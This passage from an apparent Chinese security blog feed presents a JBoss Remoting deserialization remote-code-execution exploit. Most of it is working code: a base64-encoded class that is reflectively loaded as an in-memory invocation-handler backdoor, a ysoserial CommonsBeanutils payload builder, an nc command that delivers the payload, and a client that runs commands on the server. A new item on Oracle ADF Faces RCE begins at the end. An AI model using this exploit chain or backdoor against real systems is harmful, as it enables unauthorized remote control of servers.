AgA0AFAAOQA6AAMAcQATADsAPAAEAD0AAAAVAAP9AFcHAD4HAD/8ACkHAEBBBwA+AEEAAAAEAAEAQgABAEMARAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAJgAnAAAAFgACAAAAAQAoACkAAAAAAAEARQBGAAEAAQBHAEQAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAACoAJwAAABYAAgAAAAEAKAApAAAAAAABAEUARgABAAEASAAAAAIASQ==&#34;</span>);</span></code><code><span class="code-snippet_outer">            ClassLoader classLoader = <span class="code-snippet__keyword">new</span> URLClassLoader(<span class="code-snippet__keyword">new</span> URL[<span class="code-snippet__number">0</span>], Thread.currentThread().getContextClassLoader());</span></code><code><span class="code-snippet_outer">            Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod(<span class="code-snippet__string">&#34;defineClass&#34;</span>, <span class="code-snippet__keyword">byte</span>[].class, <span class="code-snippet__keyword">int</span>.class, <span class="code-snippet__keyword">int</span>.class);</span></code><code><span class="code-snippet_outer">            defineClass.setAccessible(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">            Class invoke = (Class) defineClass.invoke(classLoader, bytes, <span class="code-snippet__number">0</span>, bytes.length);</span></code><code><span class="code-snippet_outer">            Object instance = invoke.newInstance();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            ServerThread serverThread = (ServerThread) Thread.currentThread();</span></code><code><span class="code-snippet_outer">            Field invoker = serverThread.getClass().getDeclaredField(<span class="code-snippet__string">&#34;invoker&#34;</span>);</span></code><code><span class="code-snippet_outer">            invoker.setAccessible(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">            SocketServerInvoker invokeObj = (SocketServerInvoker) invoker.get(serverThread);</span></code><code><span class="code-snippet_outer">            invokeObj.addInvocationHandler(<span class="code-snippet__string">&#34;Y4er&#34;</span>, (ServerInvocationHandler) instance);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Throwable e) {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">byte</span>[] base64Decode(String bs) <span class="code-snippet__keyword">throws</span> Exception {</span></code><code><span class="code-snippet_outer">        Class base64;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span>[] value = <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            base64 = Class.forName(<span class="code-snippet__string">&#34;java.util.Base64&#34;</span>);</span></code><code><span class="code-snippet_outer">            Object decoder = base64.getMethod(<span class="code-snippet__string">&#34;getDecoder&#34;</span>, <span class="code-snippet__keyword">null</span>).invoke(base64, <span class="code-snippet__keyword">null</span>);</span></code><code><span class="code-snippet_outer">            value = (<span class="code-snippet__keyword">byte</span>[]) decoder.getClass().getMethod(<span class="code-snippet__string">&#34;decode&#34;</span>, <span class="code-snippet__keyword">new</span> Class[]{String.class}).invoke(decoder, <span class="code-snippet__keyword">new</span> Object[]{bs});</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                base64 = Class.forName(<span class="code-snippet__string">&#34;sun.misc.BASE64Decoder&#34;</span>);</span></code><code><span class="code-snippet_outer">                Object decoder = base64.newInstance();</span></code><code><span class="code-snippet_outer">                value = (<span class="code-snippet__keyword">byte</span>[]) decoder.getClass().getMethod(<span class="code-snippet__string">&#34;decodeBuffer&#34;</span>, <span class="code-snippet__keyword">new</span> Class[]{String.class}).invoke(decoder, <span class="code-snippet__keyword">new</span> Object[]{bs});</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (Exception e2) {</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> value;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">最后用CB183生成payload。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">package ysoserial;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.google.common.io.Files;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javassist.ClassPool;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javassist.CtClass;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.codec.binary.Base64;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.apache.commons.lang.ArrayUtils;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> ysoserial.payloads.CommonsBeanutils183NOCC;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> ysoserial.payloads.templates.JbossInvocationHandler;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.File;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Arrays;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">JbossRemoting</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> void main(<span class="code-snippet__type">String</span>[] args) <span class="code-snippet__keyword">throws</span> <span class="code-snippet__type">Exception</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">ClassPool</span> pool = <span class="code-snippet__type">ClassPool</span>.getDefault();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">CtClass</span> ctClass = pool.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__type">JbossInvocationHandler</span>.<span class="code-snippet__keyword">class</span>.getName());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">String</span> s = <span class="code-snippet__type">Base64</span>.encodeBase64String(ctClass.toBytecode());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">System</span>.out.<span class="code-snippet__built_in">println</span>(s);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">Object</span> calc = new <span class="code-snippet__type">CommonsBeanutils183NOCC</span>().getObject(<span class="code-snippet__string">&#34;CLASS:Loader&#34;</span>);</span></code><code><span class="code-snippet_outer">        byte[] serialize = <span class="code-snippet__type">Serializer</span>.serialize(calc);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        byte[] aced = <span class="code-snippet__type">Arrays</span>.copyOfRange(serialize, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">4</span>);</span></code><code><span class="code-snippet_outer">        byte[] range = <span class="code-snippet__type">Arrays</span>.copyOfRange(serialize, <span class="code-snippet__number">4</span>, serialize.length);</span></code><code><span class="code-snippet_outer">        byte[] bs = new byte[]{<span class="code-snippet__number">0x77</span>, <span class="code-snippet__number">0x01</span>, <span class="code-snippet__number">0x16</span>, <span class="code-snippet__number">0x79</span>};</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">System</span>.out.<span class="code-snippet__built_in">println</span>(aced.length + range.length == serialize.length);</span></code><code><span class="code-snippet_outer">        byte[] bytes = <span class="code-snippet__type">ArrayUtils</span>.addAll(aced, bs);</span></code><code><span class="code-snippet_outer">        bytes = <span class="code-snippet__type">ArrayUtils</span>.addAll(bytes, range);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">Files</span>.write(bytes, new <span class="code-snippet__type">File</span>(<span class="code-snippet__string">&#34;E:\\tools\\code\\ysoserial\\target\\payload.ser&#34;</span>));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后nc发送</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">cat</span> payload.ser |nc <span class="code-snippet__number">127.0.0.1</span> <span class="code-snippet__number">4446</span>|hexdump -C</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后新建一个client去执行命令</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">package org.jboss.remoting.samples.myclient;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.jboss.remoting.Client;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> org.jboss.remoting.InvokerLocator;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> MyClient {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Throwable {</span></code><code><span class="code-snippet_outer">        InvokerLocator locator = <span class="code-snippet__keyword">new</span> InvokerLocator(<span class="code-snippet__string">&#34;socket://127.0.0.1:4446/&#34;</span>);</span></code><code><span class="code-snippet_outer">        Client client = <span class="code-snippet__keyword">new</span> Client(locator);</span></code><code><span class="code-snippet_outer">        client.setSubsystem(<span class="code-snippet__string">&#34;Y4er&#34;</span>);</span></code><code><span class="code-snippet_outer">        client.connect();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">Object</span> <span class="code-snippet__keyword">as</span> = client.invoke(<span class="code-snippet__string">&#34;dir&#34;</span>);</span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__keyword">as</span>);</span></code><code><span class="code-snippet_outer">        client.disconnect();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="304" data-backw="562" data-galleryid="" data-ratio="0.5416666666666666" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e13c0f04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mb6OSjUwqX6NwVJe9ZBxxLibGjUyZibsqUexdLxIyI8Hjxqhsic2yoqfkFw%2F640%3Fwx_fmt%3Dpng"/><span style="color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;text-align: justify;"></span></p></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">jboss日志中</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="304" data-backw="562" data-galleryid="" data-ratio="0.5416666666666666" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=02da5727&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbxrTkae70O37j7DqybSD5hDTZXGiajxGZicYX08at3cPYwkXVRhwV1RzA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">jndi注入</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">org.jboss.ejb3.mdb.ProducerManagerImpl#readExternal</code> 很直观<img class="rich_pages wxw-img" data-backh="411" data-backw="562" data-galleryid="" data-ratio="0.7314487632508834" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;" data-type="png" data-w="849" src="https://wechat2rss.xlab.app/img-proxy/?k=dafc9d7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibru9dcMzygLM38UhxicJN3mbiaQxMQWeR2qnAeauZtLYvVK6ddpho0NQSshiboZjVhlJ7hQnygJcoUMA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">不详细展开了</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">思考</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">jboss的rpc有多种传输方式，其内置了几种反序列化方式，其他协议是否会有问题？</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">jboss的remoting挺有意思，看了官方sample，可以rmi、socket、http等多种方式调用，除了handler是否有其他的回显方式？</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;color: rgb(255, 95, 46);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-weight: bold;">文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p><h3 style="box-sizing: border-box;margin: 2em 8px 0.75em 0px;padding: 0px 0px 0.1em 8px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;border-left: 4px solid rgb(248, 57, 41);">References</h3><p style="box-sizing: border-box;margin: 0.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12px;opacity: 0.6;">[1]</code> 官网介绍看这里: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="https://jbossremoting.jboss.org/remoting-3" target="_blank">https://jbossremoting.jboss.org/remoting-3</a></em><br style="box-sizing: border-box;margin: 0px;padding: 0px;"/><code style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: 12px;opacity: 0.6;">[2]</code> 这里下载: <em style="box-sizing: border-box;margin: 0px;padding: 0px;"><a href="http://www.jboss.org/file-access/default/members/jbossremoting/downloads/jboss-remoting-2_5_4_SP5.zip" target="_blank">http://www.jboss.org/file-access/default/members/jbossremoting/downloads/jboss-remoting-2_5_4_SP5.zip</a></em></p><p style="box-sizing: border-box;margin: 0.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><em style="box-sizing: border-box;margin: 0px;padding: 0px;"><br/></em></p><section style="margin-bottom: 0px;"><br/></section><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.75rem;orphans: 4;margin-bottom: 1.25rem;color: rgb(17, 17, 17);font-size: 1rem;white-space: pre-wrap;text-align: center;"><span md-inline="code" spellcheck="false" style="font-size: 1rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">分享、点赞、</span>在<span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">看就是对我们的一种支持！</span></span></span></span></span></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages js_insertlocalimg wxw-img" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d8806ef3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibp8YjH4BpZodsIJmZOG8Cc3sbuM3IMcxPurjryDzTA8WTHZTNIXvP1SUVvWh0PzSTxssDxmwydNrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 0.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;"><em style="box-sizing: border-box;margin: 0px;padding: 0px;"><br/></em></p>



<p><a href="2247486329">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1b6cda13&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486329%26idx%3D1%26sn%3D01fba9757726fb58fad00ac13ec7567c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 01 Jul 2022 11:22:00 +0800</pubDate>
    </item>
    <item>
      <title>Oracle ADF Faces 反序列化RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486304&amp;idx=1&amp;sn=2c3d18d2fe64fa604811291c9e19d748</link>
      <description>环境搭建安装Oracle19c，安装的时候这里要选AL32UTF8image.png接下来会卡在42%，多等</description>
      <content:encoded><![CDATA[<p>
原创 <span>ChaBug</span> <span>2022-06-29 15:24</span> <span style="display: inline-block;">四川</span>
</p>

<p>环境搭建安装Oracle19c，安装的时候这里要选AL32UTF8image.png接下来会卡在42%，多等</p>
<p></p>



<p>
